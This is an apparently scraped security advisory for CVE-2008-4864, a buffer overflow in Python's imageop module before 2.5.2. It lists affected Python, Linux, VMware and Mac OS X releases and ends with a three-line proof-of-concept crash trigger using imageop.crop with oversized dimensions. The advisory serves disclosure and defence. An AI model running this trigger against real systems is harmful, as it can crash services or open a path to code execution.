159 lines
No EOL
5 KiB
Text
159 lines
No EOL
5 KiB
Text
Python's 'imageop' module is prone to a buffer-overflow vulnerability.
|
|
|
|
Successful exploits may allow attackers to execute arbitrary code in the context of applications using the vulnerable Python module. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition.
|
|
|
|
This issue affects versions prior to Python 2.5.2.
|
|
|
|
Bugtraq ID: 31976
|
|
Class: Boundary Condition Error
|
|
CVE: CVE-2008-4864
|
|
Published: Oct 29 2008 12:00AM
|
|
Updated: Nov 24 2009 07:56PM
|
|
Credit: Chris Evans
|
|
Vulnerable: VMWare vMA 4.0
|
|
VMWare ESX Server 3.0.3
|
|
VMWare ESX Server 2.5.5
|
|
VMWare ESX Server 4.0
|
|
VMWare ESX Server 3.5
|
|
Ubuntu Ubuntu Linux 8.10 sparc
|
|
Ubuntu Ubuntu Linux 8.10 powerpc
|
|
Ubuntu Ubuntu Linux 8.10 lpia
|
|
Ubuntu Ubuntu Linux 8.10 i386
|
|
Ubuntu Ubuntu Linux 8.10 amd64
|
|
Ubuntu Ubuntu Linux 8.04 LTS sparc
|
|
Ubuntu Ubuntu Linux 8.04 LTS powerpc
|
|
Ubuntu Ubuntu Linux 8.04 LTS lpia
|
|
Ubuntu Ubuntu Linux 8.04 LTS i386
|
|
Ubuntu Ubuntu Linux 8.04 LTS amd64
|
|
Ubuntu Ubuntu Linux 6.06 LTS sparc
|
|
Ubuntu Ubuntu Linux 6.06 LTS powerpc
|
|
Ubuntu Ubuntu Linux 6.06 LTS i386
|
|
Ubuntu Ubuntu Linux 6.06 LTS amd64
|
|
S.u.S.E. SUSE Linux Enterprise Server 10 SP2
|
|
S.u.S.E. SUSE Linux Enterprise Desktop 10 SP2
|
|
S.u.S.E. SLE SDK 10 SP2
|
|
S.u.S.E. openSUSE 11.1
|
|
S.u.S.E. openSUSE 11.0
|
|
S.u.S.E. openSUSE 10.3
|
|
S.u.S.E. Open-Enterprise-Server 0
|
|
S.u.S.E. Novell Linux POS 9
|
|
S.u.S.E. Novell Linux Desktop 9
|
|
RedHat Enterprise Linux WS 4
|
|
RedHat Enterprise Linux WS 3
|
|
RedHat Enterprise Linux ES 4
|
|
RedHat Enterprise Linux ES 3
|
|
RedHat Enterprise Linux Desktop Workstation 5 client
|
|
RedHat Enterprise Linux Desktop 5 client
|
|
RedHat Enterprise Linux AS 4
|
|
RedHat Enterprise Linux AS 3
|
|
RedHat Enterprise Linux Desktop version 4
|
|
RedHat Enterprise Linux 5 server
|
|
RedHat Desktop 3.0
|
|
Python Software Foundation Python 2.5.1
|
|
Python Software Foundation Python 2.4.5
|
|
Python Software Foundation Python 2.4.4 r14
|
|
Python Software Foundation Python 2.4.4
|
|
Python Software Foundation Python 2.4.3
|
|
+ Trustix Secure Linux 3.0.5
|
|
Python Software Foundation Python 2.4.2
|
|
Python Software Foundation Python 2.4.1
|
|
Python Software Foundation Python 2.4
|
|
Python Software Foundation Python 2.3.6
|
|
Python Software Foundation Python 2.3.5
|
|
Python Software Foundation Python 2.3.4
|
|
Python Software Foundation Python 2.3.3
|
|
Python Software Foundation Python 2.3.2
|
|
Python Software Foundation Python 2.3.1
|
|
Python Software Foundation Python 2.3 b1
|
|
Python Software Foundation Python 2.3
|
|
Python Software Foundation Python 2.2.3
|
|
+ RedHat Desktop 3.0
|
|
+ RedHat Enterprise Linux AS 3
|
|
+ RedHat Enterprise Linux ES 3
|
|
+ RedHat Enterprise Linux WS 3
|
|
+ Ubuntu Ubuntu Linux 4.1 ppc
|
|
+ Ubuntu Ubuntu Linux 4.1 ia64
|
|
+ Ubuntu Ubuntu Linux 4.1 ia32
|
|
Python Software Foundation Python 2.2.2
|
|
+ OpenPKG OpenPKG 1.2
|
|
+ RedHat Linux 7.3
|
|
+ S.u.S.E. Linux Personal 8.2
|
|
Python Software Foundation Python 2.2.1
|
|
Python Software Foundation Python 2.2
|
|
+ Conectiva Linux 8.0
|
|
+ MandrakeSoft Linux Mandrake 8.2 ppc
|
|
+ MandrakeSoft Linux Mandrake 8.2
|
|
+ MandrakeSoft Linux Mandrake 8.1 ia64
|
|
+ MandrakeSoft Linux Mandrake 8.1
|
|
Python Software Foundation Python 2.1.3
|
|
+ Debian Linux 3.0
|
|
Python Software Foundation Python 2.1.2
|
|
Python Software Foundation Python 2.1.1
|
|
Python Software Foundation Python 2.1
|
|
Python Software Foundation Python 2.0.1
|
|
Python Software Foundation Python 2.0
|
|
+ MandrakeSoft Linux Mandrake 8.0 ppc
|
|
+ MandrakeSoft Linux Mandrake 8.0
|
|
Python Software Foundation Python 1.6.1
|
|
Python Software Foundation Python 1.6
|
|
Python Software Foundation Python 1.5.2
|
|
Python Software Foundation Python 2.5
|
|
MandrakeSoft Multi Network Firewall 2.0
|
|
MandrakeSoft Linux Mandrake 2009.0 x86_64
|
|
MandrakeSoft Linux Mandrake 2009.0
|
|
MandrakeSoft Linux Mandrake 2008.1 x86_64
|
|
MandrakeSoft Linux Mandrake 2008.1
|
|
MandrakeSoft Linux Mandrake 2008.0 x86_64
|
|
MandrakeSoft Linux Mandrake 2008.0
|
|
MandrakeSoft Corporate Server 4.0 x86_64
|
|
MandrakeSoft Corporate Server 3.0 x86_64
|
|
MandrakeSoft Corporate Server 3.0
|
|
MandrakeSoft Corporate Server 4.0
|
|
Apple Mac OS X Server 10.5.6
|
|
Apple Mac OS X Server 10.5.5
|
|
Apple Mac OS X Server 10.5.4
|
|
Apple Mac OS X Server 10.5.3
|
|
Apple Mac OS X Server 10.5.2
|
|
Apple Mac OS X Server 10.5.1
|
|
Apple Mac OS X Server 10.4.11
|
|
Apple Mac OS X Server 10.4.11
|
|
Apple Mac OS X Server 10.4.10
|
|
Apple Mac OS X Server 10.4.9
|
|
Apple Mac OS X Server 10.4.8
|
|
Apple Mac OS X Server 10.4.7
|
|
Apple Mac OS X Server 10.4.6
|
|
Apple Mac OS X Server 10.4.5
|
|
Apple Mac OS X Server 10.4.4
|
|
Apple Mac OS X Server 10.4.3
|
|
Apple Mac OS X Server 10.4.2
|
|
Apple Mac OS X Server 10.4.1
|
|
Apple Mac OS X Server 10.4
|
|
Apple Mac OS X Server 10.5
|
|
Apple Mac OS X 10.5.6
|
|
Apple Mac OS X 10.5.5
|
|
Apple Mac OS X 10.5.4
|
|
Apple Mac OS X 10.5.3
|
|
Apple Mac OS X 10.5.2
|
|
Apple Mac OS X 10.5.1
|
|
Apple Mac OS X 10.4.11
|
|
Apple Mac OS X 10.4.11
|
|
Apple Mac OS X 10.4.10
|
|
Apple Mac OS X 10.4.9
|
|
Apple Mac OS X 10.4.8
|
|
Apple Mac OS X 10.4.7
|
|
Apple Mac OS X 10.4.6
|
|
Apple Mac OS X 10.4.5
|
|
Apple Mac OS X 10.4.4
|
|
Apple Mac OS X 10.4.3
|
|
Apple Mac OS X 10.4.2
|
|
Apple Mac OS X 10.4.1
|
|
Apple Mac OS X 10.4
|
|
Apple Mac OS X 10.5
|
|
Not Vulnerable: VMWare vMA 4.0 Patch 2
|
|
Python Software Foundation Python 2.5.2
|
|
|
|
POC:
|
|
|
|
import imageop
|
|
s = ''
|
|
imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536) |